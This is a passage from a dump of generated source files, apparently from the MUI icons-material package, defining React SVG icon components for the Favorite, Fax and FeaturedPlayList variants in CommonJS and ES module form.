    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 3c-1.74 0-3.41.81-4.5 2.09C10.91 3.81 9.24 3 7.5 3 4.42 3 2 5.42 2 8.5c0 3.78 3.4 6.86 8.55 11.54L12 21.35l1.45-1.32C18.6 15.36 22 12.28 22 8.5 22 5.42 19.58 3 16.5 3m-4.4 15.55-.1.1-.1-.1C7.14 14.24 4 11.39 4 8.5 4 6.5 5.5 5 7.5 5c1.54 0 3.04.99 3.57 2.36h1.87C13.46 5.99 14.96 5 16.5 5c2 0 3.5 1.5 3.5 3.5 0 2.89-3.14 5.74-7.9 10.05\"\n}), 'FavoriteBorderTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FavoriteOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 21.35-1.45-1.32C5.4 15.36 2 12.28 2 8.5 2 5.42 4.42 3 7.5 3c1.74 0 3.41.81 4.5 2.09C13.09 3.81 14.76 3 16.5 3 19.58 3 22 5.42 22 8.5c0 3.78-3.4 6.86-8.55 11.54z\"\n}), 'FavoriteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FavoriteOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 21.35-1.45-1.32C5.4 15.36 2 12.28 2 8.5 2 5.42 4.42 3 7.5 3c1.74 0 3.41.81 4.5 2.09C13.09 3.81 14.76 3 16.5 3 19.58 3 22 5.42 22 8.5c0 3.78-3.4 6.86-8.55 11.54z\"\n}), 'FavoriteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FavoriteRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.35 20.13c-.76.69-1.93.69-2.69-.01l-.11-.1C5.3 15.27 1.87 12.16 2 8.28c.06-1.7.93-3.33 2.34-4.29 2.64-1.8 5.9-.96 7.66 1.1 1.76-2.06 5.02-2.91 7.66-1.1 1.41.96 2.28 2.59 2.34 4.29.14 3.88-3.3 6.99-8.55 11.76z\"\n}), 'FavoriteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FavoriteRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.35 20.13c-.76.69-1.93.69-2.69-.01l-.11-.1C5.3 15.27 1.87 12.16 2 8.28c.06-1.7.93-3.33 2.34-4.29 2.64-1.8 5.9-.96 7.66 1.1 1.76-2.06 5.02-2.91 7.66-1.1 1.41.96 2.28 2.59 2.34 4.29.14 3.88-3.3 6.99-8.55 11.76z\"\n}), 'FavoriteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FavoriteSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 21.35-1.45-1.32C5.4 15.36 2 12.28 2 8.5 2 5.42 4.42 3 7.5 3c1.74 0 3.41.81 4.5 2.09C13.09 3.81 14.76 3 16.5 3 19.58 3 22 5.42 22 8.5c0 3.78-3.4 6.86-8.55 11.54z\"\n}), 'FavoriteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FavoriteSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 21.35-1.45-1.32C5.4 15.36 2 12.28 2 8.5 2 5.42 4.42 3 7.5 3c1.74 0 3.41.81 4.5 2.09C13.09 3.81 14.76 3 16.5 3 19.58 3 22 5.42 22 8.5c0 3.78-3.4 6.86-8.55 11.54z\"\n}), 'FavoriteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FavoriteTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 5c-1.54 0-3.04.99-3.56 2.36h-1.87C10.54 5.99 9.04 5 7.5 5 5.5 5 4 6.5 4 8.5c0 2.89 3.14 5.74 7.9 10.05l.1.1.1-.1C16.86 14.24 20 11.39 20 8.5c0-2-1.5-3.5-3.5-3.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 3c-1.74 0-3.41.81-4.5 2.09C10.91 3.81 9.24 3 7.5 3 4.42 3 2 5.42 2 8.5c0 3.78 3.4 6.86 8.55 11.54L12 21.35l1.45-1.32C18.6 15.36 22 12.28 22 8.5 22 5.42 19.58 3 16.5 3m-4.4 15.55-.1.1-.1-.1C7.14 14.24 4 11.39 4 8.5 4 6.5 5.5 5 7.5 5c1.54 0 3.04.99 3.57 2.36h1.87C13.46 5.99 14.96 5 16.5 5c2 0 3.5 1.5 3.5 3.5 0 2.89-3.14 5.74-7.9 10.05\"\n}, \"1\")], 'FavoriteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FavoriteTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 5c-1.54 0-3.04.99-3.56 2.36h-1.87C10.54 5.99 9.04 5 7.5 5 5.5 5 4 6.5 4 8.5c0 2.89 3.14 5.74 7.9 10.05l.1.1.1-.1C16.86 14.24 20 11.39 20 8.5c0-2-1.5-3.5-3.5-3.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 3c-1.74 0-3.41.81-4.5 2.09C10.91 3.81 9.24 3 7.5 3 4.42 3 2 5.42 2 8.5c0 3.78 3.4 6.86 8.55 11.54L12 21.35l1.45-1.32C18.6 15.36 22 12.28 22 8.5 22 5.42 19.58 3 16.5 3m-4.4 15.55-.1.1-.1-.1C7.14 14.24 4 11.39 4 8.5 4 6.5 5.5 5 7.5 5c1.54 0 3.04.99 3.57 2.36h1.87C13.46 5.99 14.96 5 16.5 5c2 0 3.5 1.5 3.5 3.5 0 2.89-3.14 5.74-7.9 10.05\"\n}, \"1\")], 'FavoriteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Fax.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9h-1V4H8v16h14v-8c0-1.66-1.34-3-3-3m-9-3h6v3h-6zm4 11h-4v-5h4zm2 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M4.5 8C3.12 8 2 9.12 2 10.5v8C2 19.88 3.12 21 4.5 21S7 19.88 7 18.5v-8C7 9.12 5.88 8 4.5 8\"\n}), 'Fax');"
  },
  {
    "path": "packages/mui-icons-material/lib/Fax.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9h-1V4H8v16h14v-8c0-1.66-1.34-3-3-3m-9-3h6v3h-6zm4 11h-4v-5h4zm2 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M4.5 8C3.12 8 2 9.12 2 10.5v8C2 19.88 3.12 21 4.5 21S7 19.88 7 18.5v-8C7 9.12 5.88 8 4.5 8\"\n}), 'Fax');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaxOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9h-1V4H8v5h-.78C6.67 8.39 5.89 8 5 8c-1.66 0-3 1.34-3 3v7c0 1.66 1.34 3 3 3 .89 0 1.67-.39 2.22-1H22v-8c0-1.66-1.34-3-3-3M6 18c0 .55-.45 1-1 1s-1-.45-1-1v-7c0-.55.45-1 1-1s1 .45 1 1zm4-12h6v3h-6zm10 12H8v-7h11c.55 0 1 .45 1 1z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"13\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"16\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"16\",\n  r: \"1\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 12h4v5H9z\"\n}, \"5\")], 'FaxOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaxOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9h-1V4H8v5h-.78C6.67 8.39 5.89 8 5 8c-1.66 0-3 1.34-3 3v7c0 1.66 1.34 3 3 3 .89 0 1.67-.39 2.22-1H22v-8c0-1.66-1.34-3-3-3M6 18c0 .55-.45 1-1 1s-1-.45-1-1v-7c0-.55.45-1 1-1s1 .45 1 1zm4-12h6v3h-6zm10 12H8v-7h11c.55 0 1 .45 1 1z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"13\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"16\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"16\",\n  r: \"1\"\n}, \"4\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 12h4v5H9z\"\n}, \"5\")], 'FaxOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaxRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9h-1V6c0-1.1-.9-2-2-2h-6c-1.1 0-2 .9-2 2v14h12c1.1 0 2-.9 2-2v-6c0-1.66-1.34-3-3-3m-9-3h6v3h-6zm4 11h-4v-5h4zm2 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M4.5 8C3.12 8 2 9.12 2 10.5v8C2 19.88 3.12 21 4.5 21S7 19.88 7 18.5v-8C7 9.12 5.88 8 4.5 8\"\n}), 'FaxRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaxRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9h-1V6c0-1.1-.9-2-2-2h-6c-1.1 0-2 .9-2 2v14h12c1.1 0 2-.9 2-2v-6c0-1.66-1.34-3-3-3m-9-3h6v3h-6zm4 11h-4v-5h4zm2 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M4.5 8C3.12 8 2 9.12 2 10.5v8C2 19.88 3.12 21 4.5 21S7 19.88 7 18.5v-8C7 9.12 5.88 8 4.5 8\"\n}), 'FaxRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaxSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 9h-4V4H8v16h14zM10 6h6v3h-6zm4 11h-4v-5h4zm2 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M2 8h5v13H2z\"\n}), 'FaxSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaxSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 9h-4V4H8v16h14zM10 6h6v3h-6zm4 11h-4v-5h4zm2 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M2 8h5v13H2z\"\n}), 'FaxSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaxTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 10c-.55 0-1 .45-1 1v7c0 .55.45 1 1 1s1-.45 1-1v-7c0-.55-.45-1-1-1m5-4h6v3h-6zm9 5H8v7h12v-6c0-.55-.45-1-1-1m-6 6H9v-5h4zm2 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9h-1V4H8v5h-.78C6.67 8.39 5.89 8 5 8c-1.66 0-3 1.34-3 3v7c0 1.66 1.34 3 3 3 .89 0 1.67-.39 2.22-1H22v-8c0-1.66-1.34-3-3-3M6 18c0 .55-.45 1-1 1s-1-.45-1-1v-7c0-.55.45-1 1-1s1 .45 1 1zm4-12h6v3h-6zm10 12H8v-7h11c.55 0 1 .45 1 1z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"13\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"16\",\n  r: \"1\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"16\",\n  r: \"1\"\n}, \"5\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 12h4v5H9z\"\n}, \"6\")], 'FaxTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaxTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 10c-.55 0-1 .45-1 1v7c0 .55.45 1 1 1s1-.45 1-1v-7c0-.55-.45-1-1-1m5-4h6v3h-6zm9 5H8v7h12v-6c0-.55-.45-1-1-1m-6 6H9v-5h4zm2 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9h-1V4H8v5h-.78C6.67 8.39 5.89 8 5 8c-1.66 0-3 1.34-3 3v7c0 1.66 1.34 3 3 3 .89 0 1.67-.39 2.22-1H22v-8c0-1.66-1.34-3-3-3M6 18c0 .55-.45 1-1 1s-1-.45-1-1v-7c0-.55.45-1 1-1s1 .45 1 1zm4-12h6v3h-6zm10 12H8v-7h11c.55 0 1 .45 1 1z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"13\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"16\",\n  r: \"1\"\n}, \"4\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"16\",\n  r: \"1\"\n}, \"5\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 12h4v5H9z\"\n}, \"6\")], 'FaxTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeaturedPlayList.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 8H3V9h9zm0-4H3V5h9z\"\n}), 'FeaturedPlayList');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeaturedPlayList.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 8H3V9h9zm0-4H3V5h9z\"\n}), 'FeaturedPlayList');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeaturedPlayListOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zM5 10h9v2H5zm0-3h9v2H5z\"\n}), 'FeaturedPlayListOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeaturedPlayListOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zM5 10h9v2H5zm0-3h9v2H5z\"\n}), 'FeaturedPlayListOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeaturedPlayListRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-10 8H4c-.55 0-1-.45-1-1s.45-1 1-1h7c.55 0 1 .45 1 1s-.45 1-1 1m0-4H4c-.55 0-1-.45-1-1s.45-1 1-1h7c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'FeaturedPlayListRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeaturedPlayListRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-10 8H4c-.55 0-1-.45-1-1s.45-1 1-1h7c.55 0 1 .45 1 1s-.45 1-1 1m0-4H4c-.55 0-1-.45-1-1s.45-1 1-1h7c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'FeaturedPlayListRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeaturedPlayListSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 3H1v18h22zm-11 8H3V9h9zm0-4H3V5h9z\"\n}), 'FeaturedPlayListSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeaturedPlayListSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 3H1v18h22zm-11 8H3V9h9zm0-4H3V5h9z\"\n}), 'FeaturedPlayListSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeaturedPlayListTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 19h18V5H3zM5 7h9v2H5zm0 3h9v2H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zM5 10h9v2H5zm0-3h9v2H5z\"\n}, \"1\")], 'FeaturedPlayListTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeaturedPlayListTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 19h18V5H3zM5 7h9v2H5zm0 3h9v2H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zM5 10h9v2H5zm0-3h9v2H5z\"\n}, \"1\")], 'FeaturedPlayListTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeaturedVideo.js",
